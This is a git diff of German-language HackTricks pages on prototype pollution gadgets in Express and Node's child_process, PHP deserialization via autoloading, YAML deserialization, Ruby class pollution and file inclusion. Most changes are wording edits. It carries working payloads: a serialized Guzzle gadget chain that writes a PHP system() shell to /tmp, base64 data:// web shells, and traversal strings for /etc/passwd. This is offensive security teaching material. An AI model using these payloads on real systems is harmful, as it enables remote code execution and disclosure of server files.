[**Diese Forschung**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) zeigt PP-Gadgets, die verwendet werden können, um die **Sanitierungen** zu **umgehen**, die von einigen HTML-Sanitizer-Bibliotheken bereitgestellt werden:
|
||||
[**Diese Forschung**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) zeigt PP-Gadgets, die verwendet werden können, um **die Sanitierungen** zu **umgehen**, die von einigen HTML-Sanitizer-Bibliotheken bereitgestellt werden:
|
||||
|
||||
- **sanitize-html**
|
||||
|
||||
|
||||
@ -24,7 +24,7 @@ Durch das **Verschmutzen** der **`body`** und **`_body`** Eigenschaften ist es m
|
||||
|
||||
### UTF7 rendern
|
||||
|
||||
Es ist möglich, dass Express **UTF-7-Inhalt rendert mit**:
|
||||
Es ist möglich, dass Express **UTF-7-Inhalte rendert mit**:
|
||||
```json
|
||||
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
|
||||
```
|
||||
@ -50,7 +50,7 @@ Es erfordert, dass das **CORS-Modul installiert ist**.
|
||||
|
||||
### **OPTIONS-Methode**
|
||||
|
||||
Mit dem folgenden Payload ist es möglich, eine **Methode aus einer OPTIONS-Antwort zu verbergen**:
|
||||
Mit dem folgenden Payload ist es möglich, **eine Methode aus einer OPTIONS-Antwort zu verbergen**:
|
||||
```javascript
|
||||
// Original reponse: POST,GET,HEAD
|
||||
|
||||
@ -90,7 +90,7 @@ Darüber hinaus bietet in Szenarien, in denen eine Bibliothek wie Lodash verwend
|
||||
### Punkte erlauben
|
||||
|
||||
Es gibt eine Option in Express, die es Ihnen ermöglicht, **Objekte aus Abfragezeichenfolgenparametern** zu **erstellen**.\
|
||||
Sie könnten es definitiv in einer Fehler-**Kette** verwenden, um eine **Prototype Pollution-Sicherheitsanfälligkeit** auszunutzen.
|
||||
Sie könnten es definitiv in einer Fehler-**kette** verwenden, um eine **Prototype Pollution-Sicherheitsanfälligkeit** auszunutzen.
|
||||
```json
|
||||
{ "__proto__": { "allowDots": true } }
|
||||
```
|
||||
|
||||
@ -41,7 +41,7 @@ var proc = fork("a_file.js")
|
||||
|
||||
**PP2RCE** bedeutet **Prototype Pollution zu RCE** (Remote Code Execution).
|
||||
|
||||
Laut diesem [**Bericht**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wird, wenn ein **Prozess erzeugt** wird mit einer Methode aus **`child_process`** (wie `fork` oder `spawn` oder anderen), die Methode `normalizeSpawnArguments` aufgerufen, die ein **Prototype Pollution Gadget zur Erstellung neuer Umgebungsvariablen** ist:
|
||||
Laut diesem [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wenn ein **Prozess erstellt wird** mit einer Methode aus **`child_process`** (wie `fork` oder `spawn` oder anderen) ruft es die Methode `normalizeSpawnArguments` auf, die ein **Prototype Pollution Gadget zur Erstellung neuer Umgebungsvariablen** ist:
|
||||
```javascript
|
||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||
|
||||
@ -67,7 +67,7 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass aufgrund der Funktionsweise der **`normalizeSpawnArguments`**-Funktion aus der **`child_process`**-Bibliothek von Node, wenn etwas aufgerufen wird, um eine **neue Umgebungsvariable** für den Prozess festzulegen, Sie einfach **alles verschmutzen** müssen.\
|
||||
> Wenn Sie beispielsweise `__proto__.avar="valuevar"` ausführen, wird der Prozess mit einer Variablen namens `avar` mit dem Wert `valuevar` gestartet.
|
||||
> Wenn Sie beispielsweise `__proto__.avar="valuevar"` tun, wird der Prozess mit einer Variablen namens `avar` mit dem Wert `valuevar` gestartet.
|
||||
>
|
||||
> Damit die **Umgebungsvariable die erste ist**, müssen Sie das **`.env`-Attribut** **verschmutzen** und (nur in einigen Methoden) wird diese Variable die **erste** sein (was den Angriff ermöglicht).
|
||||
>
|
||||
@ -227,8 +227,8 @@ var proc = execFile("/usr/bin/node")
|
||||
|
||||
// Windows - not working
|
||||
```
|
||||
Für **`execFile`** zu funktionieren, **MUSS** es **node** ausführen, damit die NODE_OPTIONS funktionieren.\
|
||||
Wenn es **nicht** **node** ausführt, müssen Sie herausfinden, wie Sie die **Ausführung** von dem, was es ausführt, **mit Umgebungsvariablen** ändern und diese setzen können.
|
||||
Für **`execFile`** zu funktionieren, **MUSS** es node ausführen, damit die NODE_OPTIONS funktionieren.\
|
||||
Wenn es **nicht** node ausführt, müssen Sie herausfinden, wie Sie die **Ausführung** von dem, was es ausführt, **mit Umgebungsvariablen** ändern und diese setzen können.
|
||||
|
||||
Die **anderen** Techniken **funktionieren** ohne diese Anforderung, da es **möglich ist,** **was ausgeführt wird** über Prototype Pollution zu modifizieren. (In diesem Fall, selbst wenn Sie `.shell` verschmutzen können, werden Sie nicht das verschmutzen, was ausgeführt wird).
|
||||
|
||||
@ -467,8 +467,8 @@ In den vorherigen Beispielen haben Sie gesehen, wie man das Gadget auslöst; ein
|
||||
|
||||
### Kontrolle über einen require-Dateipfad
|
||||
|
||||
In diesem [**anderen Bericht**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) kann der Benutzer den Dateipfad steuern, an dem ein **`require`** ausgeführt wird. In diesem Szenario muss der Angreifer nur **eine `.js`-Datei im System finden**, die **eine Spawn-Methode beim Importieren ausführt.**\
|
||||
Einige Beispiele für gängige Dateien, die eine Spawn-Funktion beim Importieren aufrufen, sind:
|
||||
In diesem [**anderen Bericht**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) kann der Benutzer den Dateipfad steuern, an dem ein **`require`** ausgeführt wird. In diesem Szenario muss der Angreifer nur **eine `.js`-Datei im System finden**, die **eine Spawn-Methode beim Import ausführt.**\
|
||||
Einige Beispiele für gängige Dateien, die eine Spawn-Funktion beim Import aufrufen, sind:
|
||||
|
||||
- /path/to/npm/scripts/changelog.js
|
||||
- /opt/yarn-v1.22.19/preinstall.js
|
||||
@ -504,12 +504,12 @@ done
|
||||
|
||||
Wenn der Code jedoch ein Require nach der Prototyp-Verschmutzung ausführt, selbst wenn Sie **den Pfad**, der benötigt werden soll, **nicht kontrollieren**, können Sie **einen anderen erzwingen, indem Sie die Prototyp-Verschmutzung ausnutzen**. Selbst wenn die Codezeile wie `require("./a_file.js")` oder `require("bytes")` aussieht, wird es **das Paket erfordern, das Sie verschmutzt haben**.
|
||||
|
||||
Daher, wenn ein Require nach Ihrer Prototyp-Verschmutzung und ohne Spawn-Funktion ausgeführt wird, ist dies der Angriff:
|
||||
Daher, wenn ein Require nach Ihrer Prototyp-Verschmutzung ausgeführt wird und keine Spawn-Funktion, ist dies der Angriff:
|
||||
|
||||
- Finden Sie eine **`.js`-Datei im System**, die beim **Require** **etwas mit `child_process` ausführt**
|
||||
- Wenn Sie Dateien auf die Plattform hochladen können, die Sie angreifen, könnten Sie eine solche Datei hochladen
|
||||
- Verschmutzen Sie die Pfade, um das **Require-Laden der `.js`-Datei** zu erzwingen, die etwas mit child_process ausführen wird
|
||||
- **Verschmutzen Sie die environ/cmdline**, um willkürlichen Code auszuführen, wenn eine Funktion zur Ausführung von child_process aufgerufen wird (siehe die ursprünglichen Techniken)
|
||||
- **Verschmutzen Sie die environ/cmdline**, um beliebigen Code auszuführen, wenn eine Funktion zur Ausführung von child_process aufgerufen wird (siehe die ursprünglichen Techniken)
|
||||
|
||||
#### Absolutes Require
|
||||
|
||||
@ -665,12 +665,12 @@ Allerdings wurde, wie bei den vorherigen **`child_process`**-Methoden, dies in d
|
||||
|
||||
## Fixes & Unerwartete Schutzmaßnahmen
|
||||
|
||||
Bitte beachten Sie, dass die Prototype-Pollution funktioniert, wenn das **Attribut** eines Objekts, auf das zugegriffen wird, **undefiniert** ist. Wenn im **Code** dieses **Attribut** auf einen **Wert** **gesetzt** wird, **können Sie es nicht überschreiben**.
|
||||
Bitte beachten Sie, dass die Prototyp-Verschmutzung funktioniert, wenn das **Attribut** eines Objekts, auf das zugegriffen wird, **undefiniert** ist. Wenn im **Code** dieses **Attribut** auf einen **Wert** **gesetzt** wird, **können Sie es nicht überschreiben**.
|
||||
|
||||
Im Juni 2022 wurde von [**diesem Commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) die Variable `options` anstelle eines `{}` zu einem **`kEmptyObject`**. Dies **verhindert, dass eine Prototype-Pollution** die **Attribute** von **`options`** beeinflusst, um RCE zu erhalten.\
|
||||
Im Juni 2022 wurde durch [**diesen Commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) die Variable `options` anstelle eines `{}` zu einem **`kEmptyObject`**. Dies **verhindert eine Prototyp-Verschmutzung**, die die **Attribute** von **`options`** beeinflusst, um RCE zu erhalten.\
|
||||
Mindestens ab v18.4.0 wurde dieser Schutz **implementiert**, und daher funktionieren die `spawn`- und `spawnSync`-**Exploits**, die die Methoden betreffen, **nicht mehr** (wenn keine `options` verwendet werden!).
|
||||
|
||||
In [**diesem Commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) wurde die **Prototype-Pollution** von **`contextExtensions`** aus der vm-Bibliothek **auch irgendwie behoben**, indem die Optionen auf **`kEmptyObject`** anstelle von **`{}`** gesetzt wurden.
|
||||
In [**diesem Commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) wurde die **Prototyp-Verschmutzung** von **`contextExtensions`** aus der vm-Bibliothek **auch irgendwie behoben**, indem die Optionen auf **`kEmptyObject`** anstelle von **`{}`** gesetzt wurden.
|
||||
|
||||
### **Andere Gadgets**
|
||||
|
||||
|
||||
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Zuerst sollten Sie überprüfen, was [**Autoloading-Klassen**](https://www.php.net/manual/en/language.oop5.autoload.php) sind.
|
||||
Zuerst sollten Sie überprüfen, was [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php) sind.
|
||||
|
||||
## PHP Deserialisierung + spl_autoload_register + LFI/Gadget
|
||||
|
||||
Wir befinden uns in einer Situation, in der wir eine **PHP-Deserialisierung in einer Webanwendung** gefunden haben, ohne dass eine Bibliothek anfällig für Gadgets innerhalb von **`phpggc`** ist. In demselben Container gab es jedoch eine **andere Composer-Webanwendung mit anfälligen Bibliotheken**. Daher war das Ziel, den **Composer-Loader der anderen Webanwendung zu laden** und ihn auszunutzen, um ein Gadget zu **laden, das diese Bibliothek mit einem Gadget** aus der Webanwendung, die anfällig für Deserialisierung ist, ausnutzt.
|
||||
Wir befinden uns in einer Situation, in der wir eine **PHP-Deserialisierung in einer Webanwendung** gefunden haben, ohne dass eine Bibliothek anfällig für Gadgets innerhalb von **`phpggc`** ist. In demselben Container gab es jedoch eine **andere Composer-Webanwendung mit anfälligen Bibliotheken**. Daher war das Ziel, den **Composer-Loader der anderen Webanwendung zu laden** und ihn auszunutzen, um **ein Gadget zu laden, das diese Bibliothek mit einem Gadget** aus der Webanwendung, die anfällig für Deserialisierung ist, ausnutzt.
|
||||
|
||||
Schritte:
|
||||
|
||||
@ -38,24 +38,24 @@ require __DIR__ . $filename;
|
||||
> [!TIP]
|
||||
> Wenn Sie einen **Datei-Upload** haben und eine Datei mit der **`.php`-Erweiterung** hochladen können, könnten Sie **diese Funktionalität direkt ausnutzen** und bereits RCE erhalten.
|
||||
|
||||
In meinem Fall hatte ich so etwas nicht, aber es gab im **gleichen Container** eine andere Composer-Webseite mit einer **Bibliothek, die anfällig für ein `phpggc`-Gadget ist**.
|
||||
In meinem Fall hatte ich nichts dergleichen, aber es gab im **gleichen Container** eine andere Composer-Webseite mit einer **Bibliothek, die anfällig für ein `phpggc`-Gadget ist**.
|
||||
|
||||
- Um diese andere Bibliothek zu laden, müssen Sie zuerst den **Composer-Loader dieser anderen Webanwendung laden** (da der der aktuellen Anwendung nicht auf die Bibliotheken der anderen zugreifen kann). **Wenn Sie den Pfad der Anwendung kennen**, können Sie dies sehr einfach erreichen mit: **`O:28:"www_frontend_vendor_autoload":0:{}`** (In meinem Fall war der Composer-Loader in `/www/frontend/vendor/autoload.php`)
|
||||
- Jetzt können Sie den **Composer-Loader der anderen App laden**, also ist es Zeit, die **`phpgcc`** **Payload** zu generieren, die Sie verwenden möchten. In meinem Fall verwendete ich **`Guzzle/FW1`**, das es mir ermöglichte, **jede Datei im Dateisystem zu schreiben**.
|
||||
- HINWEIS: Das **generierte Gadget funktionierte nicht**, damit es funktioniert, **modifizierte** ich diese Payload **`chain.php`** von phpggc und stellte **alle Attribute** der Klassen **von privat auf öffentlich** ein. Andernfalls hatten die Attribute der erstellten Objekte nach der Deserialisierung des Strings keine Werte.
|
||||
- Jetzt haben wir die Möglichkeit, den **Composer-Loader der anderen App zu laden** und eine **funktionierende phpggc-Payload** zu haben, aber wir müssen **dies in DER GLEICHEN ANFRAGE tun, damit der Loader geladen wird, wenn das Gadget verwendet wird**. Dazu sendete ich ein serialisiertes Array mit beiden Objekten wie:
|
||||
- Jetzt haben wir die Möglichkeit, den **Composer-Loader der anderen App zu laden** und eine **phpggc-Payload, die funktioniert**, aber wir müssen dies **IM GLEICHEN ANFRAGE tun, damit der Loader geladen wird, wenn das Gadget verwendet wird**. Dazu sendete ich ein serialisiertes Array mit beiden Objekten wie:
|
||||
- Sie können **zuerst sehen, wie der Loader geladen wird und dann die Payload**
|
||||
```php
|
||||
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
|
||||
```
|
||||
- Jetzt können wir **eine Datei erstellen und schreiben**, jedoch **konnte der Benutzer in keinen Ordner des Webservers schreiben**. Wie Sie im Payload sehen können, wird PHP **`system`** mit etwas **base64** in **`/tmp/a.php`** aufgerufen. Dann können wir **den ersten Typ von Payload wiederverwenden**, den wir als LFI verwendet haben, um den Composer-Loader der anderen Webanwendung **zum Laden der generierten `/tmp/a.php`**-Datei zu verwenden. Fügen Sie es einfach dem Deserialisierungs-Gadget hinzu: 
|
||||
- Jetzt können wir **eine Datei erstellen und schreiben**, jedoch **konnte der Benutzer in keinen Ordner des Webservers schreiben**. Wie Sie im Payload sehen können, wird PHP **`system`** mit etwas **base64** in **`/tmp/a.php`** aufgerufen. Dann können wir **den ersten Typ von Payload wiederverwenden**, den wir als LFI verwendet haben, um den Composer-Loader der anderen Webanwendung **zum Laden der generierten `/tmp/a.php`**-Datei zu laden. Fügen Sie es einfach dem Deserialisierungs-Gadget hinzu: 
|
||||
```php
|
||||
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
|
||||
```
|
||||
**Zusammenfassung des Payloads**
|
||||
|
||||
- **Lade das Composer-Autoload** einer anderen Webanwendung im selben Container
|
||||
- **Lade ein phpggc Gadget**, um eine Bibliothek der anderen Webanwendung auszunutzen (die ursprüngliche Webanwendung, die anfällig für Deserialisierung war, hatte keine Gadgets in ihren Bibliotheken)
|
||||
- **Lade ein phpggc-Gadget**, um eine Bibliothek der anderen Webanwendung auszunutzen (die ursprüngliche Webanwendung, die anfällig für Deserialisierung war, hatte keine Gadgets in ihren Bibliotheken)
|
||||
- Das Gadget wird **eine Datei mit einem PHP-Payload** in /tmp/a.php mit bösartigen Befehlen erstellen (der Webanwendungsbenutzer kann in keinem Ordner einer Webanwendung schreiben)
|
||||
- Der letzte Teil unseres Payloads wird **die generierte PHP-Datei laden**, die Befehle ausführt
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Yaml **Deserialization**
|
||||
|
||||
**Yaml** Python-Bibliotheken sind auch in der Lage, **Python-Objekte** zu **serialisieren** und nicht nur Rohdaten:
|
||||
**Yaml** Python-Bibliotheken sind auch in der Lage, **Python-Objekte zu serialisieren** und nicht nur Rohdaten:
|
||||
```
|
||||
print(yaml.dump(str("lol")))
|
||||
lol
|
||||
@ -22,7 +22,7 @@ print(yaml.dump(range(1,10)))
|
||||
- 10
|
||||
- 1
|
||||
```
|
||||
Überprüfen Sie, wie das **tuple** kein Rohdatentyp ist und daher **serialisiert** wurde. Und das Gleiche geschah mit dem **range** (aus den Builtins).
|
||||
Überprüfen Sie, wie das **Tuple** kein Rohdatentyp ist und daher **serialisiert** wurde. Das gleiche geschah mit dem **Range** (aus den Builtins).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -45,7 +45,7 @@ print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
|
||||
#The other ways to load data will through an error as they won't even attempt to
|
||||
#deserialize the python object
|
||||
```
|
||||
Der vorherige Code verwendete **unsafe_load**, um die serialisierte Python-Klasse zu laden. Dies liegt daran, dass in **Version >= 5.1** das **Deserialisieren von beliebigen serialisierten Python-Klassen oder Klassenattributen** nicht erlaubt ist, wenn der Loader in load() nicht angegeben oder Loader=SafeLoader ist.
|
||||
Der vorherige Code verwendete **unsafe_load**, um die serialisierte Python-Klasse zu laden. Dies liegt daran, dass in **Version >= 5.1** es nicht erlaubt ist, **irgendeine serialisierte Python-Klasse oder Klassenattribut** zu **deserialisieren**, wenn der Loader in load() nicht angegeben oder Loader=SafeLoader ist.
|
||||
|
||||
### Grundlegender Exploit
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@ Dies ist eine Zusammenfassung des Beitrags [https://nastystereo.com/security/rai
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
Beim Senden eines Körpers werden einige nicht hashbare Werte wie ein Array in einen neuen Schlüssel namens `_json` eingefügt. Es ist jedoch möglich, dass ein Angreifer auch im Körper einen Wert namens `_json` mit beliebigen Werten festlegt. Wenn das Backend beispielsweise die Richtigkeit eines Parameters überprüft, dann aber auch den `_json`-Parameter verwendet, um eine Aktion auszuführen, könnte ein Autorisierungsumgehung durchgeführt werden.
|
||||
Beim Senden eines Körpers werden einige Werte, die nicht hashbar sind, wie ein Array, in einen neuen Schlüssel namens `_json` eingefügt. Es ist jedoch möglich, dass ein Angreifer auch im Körper einen Wert namens `_json` mit beliebigen Werten festlegt. Wenn das Backend beispielsweise die Richtigkeit eines Parameters überprüft, dann aber auch den `_json`-Parameter verwendet, um eine Aktion auszuführen, könnte ein Autorisierungsumgehung durchgeführt werden.
|
||||
```json
|
||||
{
|
||||
"id": 123,
|
||||
|
||||
@ -143,10 +143,10 @@ JSONMergerApp.run(json_input)
|
||||
```
|
||||
### Erklärung
|
||||
|
||||
1. **Privilegieneskalation**: Die `authorize`-Methode überprüft, ob `to_s` "Admin" zurückgibt. Durch das Injizieren eines neuen `to_s`-Attributs über JSON kann ein Angreifer die `to_s`-Methode dazu bringen, "Admin" zurückzugeben, was unbefugte Privilegien gewährt.
|
||||
1. **Privilegieneskalation**: Die `authorize`-Methode überprüft, ob `to_s` "Admin" zurückgibt. Durch das Injizieren eines neuen `to_s`-Attributs über JSON kann ein Angreifer die `to_s`-Methode dazu bringen, "Admin" zurückzugeben, was unbefugte Berechtigungen gewährt.
|
||||
2. **Remote Code Execution**: In `health_check` führt `instance_eval` Methoden aus, die in `protected_methods` aufgeführt sind. Wenn ein Angreifer benutzerdefinierte Methodennamen (wie `"puts 1"`) injiziert, wird `instance_eval` diese ausführen, was zu **remote code execution (RCE)** führt.
|
||||
1. Dies ist nur möglich, weil es eine **anfällige `eval`-Anweisung** gibt, die den Stringwert dieses Attributs ausführt.
|
||||
3. **Einschränkung der Auswirkungen**: Diese Schwachstelle betrifft nur einzelne Instanzen und lässt andere Instanzen von `User` und `Admin` unberührt, wodurch der Umfang der Ausnutzung begrenzt wird.
|
||||
3. **Auswirkungsbegrenzung**: Diese Schwachstelle betrifft nur einzelne Instanzen und lässt andere Instanzen von `User` und `Admin` unberührt, wodurch der Umfang der Ausnutzung begrenzt wird.
|
||||
|
||||
### Anwendungsfälle aus der Praxis <a href="#real-world-cases" id="real-world-cases"></a>
|
||||
|
||||
@ -168,9 +168,9 @@ end
|
||||
```
|
||||
### Hashie’s `deep_merge`
|
||||
|
||||
Die Methode `deep_merge` von Hashie arbeitet direkt mit den Attributen von Objekten anstelle von einfachen Hashes. Sie **verhindert den Ersatz von Methoden** durch Attribute bei einem Merge mit einigen **Ausnahmen**: Attribute, die mit `_`, `!` oder `?` enden, können weiterhin in das Objekt gemerged werden.
|
||||
Die Methode `deep_merge` von Hashie arbeitet direkt mit den Attributen von Objekten anstelle von einfachen Hashes. Sie **verhindert den Ersatz von Methoden** durch Attribute bei einem Merge mit einigen **Ausnahmen**: Attribute, die mit `_`, `!` oder `?` enden, können weiterhin in das Objekt zusammengeführt werden.
|
||||
|
||||
Ein Sonderfall ist das Attribut **`_`** allein. Nur `_` ist ein Attribut, das normalerweise ein `Mash`-Objekt zurückgibt. Und da es Teil der **Ausnahmen** ist, ist es möglich, es zu modifizieren.
|
||||
Ein Sonderfall ist das Attribut **`_`** für sich genommen. Nur `_` ist ein Attribut, das normalerweise ein `Mash`-Objekt zurückgibt. Und da es Teil der **Ausnahmen** ist, ist es möglich, es zu modifizieren.
|
||||
|
||||
Überprüfen Sie das folgende Beispiel, wie man durch das Übergeben von `{"_": "Admin"}` in der Lage ist, `_.to_s == "Admin"` zu umgehen:
|
||||
```ruby
|
||||
|
||||
@ -1,8 +1,8 @@
|
||||
# Dateieinschluss/Pfad Traversierung
|
||||
# Dateieinbindung/Pfad Traversierung
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dateieinschluss
|
||||
## Dateieinbindung
|
||||
|
||||
**Remote File Inclusion (RFI):** Die Datei wird von einem Remote-Server geladen (Am besten: Sie können den Code schreiben und der Server wird ihn ausführen). In PHP ist dies **standardmäßig deaktiviert** (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** Der Server lädt eine lokale Datei.
|
||||
@ -57,7 +57,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null-Byte (%00)**
|
||||
|
||||
Umgehung des Anhängens weiterer Zeichen am Ende der bereitgestellten Zeichenfolge (Umgehung von: $\_GET\['param']."php")
|
||||
Um das Anhängen weiterer Zeichen am Ende der bereitgestellten Zeichenfolge zu umgehen (Umgehung von: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
@ -92,10 +92,10 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
|
||||
```
|
||||
3. **Interpretieren der Ergebnisse:** Die Antwort des Servers zeigt an, ob der Ordner existiert:
|
||||
- **Fehler / Keine Ausgabe:** Der Ordner `private` existiert wahrscheinlich nicht an dem angegebenen Ort.
|
||||
- **Inhalt von `/etc/passwd`:** Das Vorhandensein des Ordners `private` ist bestätigt.
|
||||
4. **Rekursive Erkundung:** Entdeckte Ordner können weiter auf Unterverzeichnisse oder Dateien mit derselben Technik oder traditionellen Methoden der Local File Inclusion (LFI) untersucht werden.
|
||||
- **Inhalte von `/etc/passwd`:** Das Vorhandensein des Ordners `private` ist bestätigt.
|
||||
4. **Rekursive Erkundung:** Entdeckte Ordner können weiter auf Unterverzeichnisse oder Dateien mit derselben Technik oder traditionellen Local File Inclusion (LFI) Methoden untersucht werden.
|
||||
|
||||
Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passen Sie die Nutzlast entsprechend an. Zum Beispiel, um zu überprüfen, ob `/var/www/` ein Verzeichnis `private` enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwenden Sie:
|
||||
Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passen Sie die Payload entsprechend an. Zum Beispiel, um zu überprüfen, ob `/var/www/` ein `private` Verzeichnis enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwenden Sie:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
@ -121,11 +121,11 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
```
|
||||
In diesen Szenarien könnte die Anzahl der benötigten Traversierungen etwa 2027 betragen, aber diese Zahl kann je nach Konfiguration des Servers variieren.
|
||||
|
||||
- **Verwendung von Punktsegmenten und zusätzlichen Zeichen**: Traversierungssequenzen (`../`), kombiniert mit zusätzlichen Punktsegmenten und Zeichen, können verwendet werden, um das Dateisystem zu navigieren und effektiv angehängte Zeichenfolgen des Servers zu ignorieren.
|
||||
- **Verwendung von Punktsegmenten und zusätzlichen Zeichen**: Traversierungssequenzen (`../`) kombiniert mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um im Dateisystem zu navigieren und effektiv angehängte Zeichenfolgen des Servers zu ignorieren.
|
||||
- **Bestimmung der erforderlichen Anzahl von Traversierungen**: Durch Ausprobieren kann man die genaue Anzahl der benötigten `../`-Sequenzen finden, um zum Stammverzeichnis und dann zu `/etc/passwd` zu navigieren, wobei sichergestellt wird, dass angehängte Zeichenfolgen (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) intakt bleibt.
|
||||
- **Beginn mit einem gefälschten Verzeichnis**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme oder zur Erfüllung der Anforderungen der Pfadverarbeitungslogik des Servers verwendet.
|
||||
|
||||
Bei der Anwendung von Techniken zur Pfadtrunkierung ist es entscheidend, das Verhalten der Pfadverarbeitung des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario könnte einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
|
||||
Bei der Anwendung von Techniken zur Pfadtrunkierung ist es entscheidend, das Verhalten der Pfadverarbeitung des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
|
||||
|
||||
**Diese Schwachstelle wurde in PHP 5.3 behoben.**
|
||||
|
||||
@ -149,9 +149,9 @@ Wenn aus irgendeinem Grund **`allow_url_include`** auf **On** gesetzt ist, aber
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!NOTE]
|
||||
> Im vorherigen Code wurde das finale `+.txt` hinzugefügt, da der Angreifer eine Zeichenkette benötigte, die mit `.txt` endete, sodass die Zeichenkette damit endet und nach der b64-Dekodierung dieser Teil nur Müll zurückgibt und der echte PHP-Code eingeschlossen (und somit ausgeführt) wird.
|
||||
> Im vorherigen Code wurde das finale `+.txt` hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die mit `.txt` endete, sodass die Zeichenkette damit endet und nach der b64-Dekodierung dieser Teil nur Müll zurückgibt und der echte PHP-Code eingeschlossen (und somit ausgeführt) wird.
|
||||
|
||||
Ein weiteres Beispiel **ohne die Verwendung des `php://` Protokolls** wäre:
|
||||
Ein weiteres Beispiel **ohne Verwendung des `php://` Protokolls** wäre:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
@ -225,7 +225,7 @@ PHP-Filter ermöglichen grundlegende **Modifikationsoperationen an den Daten**,
|
||||
- `convert.iconv.*` : Transformiert in eine andere Kodierung (`convert.iconv.<input_enc>.<output_enc>`). Um die **Liste aller unterstützten Kodierungen** zu erhalten, führen Sie in der Konsole aus: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Durch den Missbrauch des `convert.iconv.*` Konversionsfilters können Sie **willkürlichen Text generieren**, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include zu erstellen, die willkürlichen Text verarbeitet. Für weitere Informationen siehe [**LFI2RCE über PHP-Filter**](lfi2rce-via-php-filters.md).
|
||||
> Durch den Missbrauch des `convert.iconv.*` Konversionsfilters können Sie **willkürlichen Text generieren**, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include dazu zu bringen, willkürlichen Text zu verarbeiten. Für weitere Informationen siehe [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Komprimiert den Inhalt (nützlich, wenn viele Informationen exfiltriert werden)
|
||||
@ -269,7 +269,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
|
||||
### Verwendung von php-Filtern als Oracle zum Lesen beliebiger Dateien
|
||||
|
||||
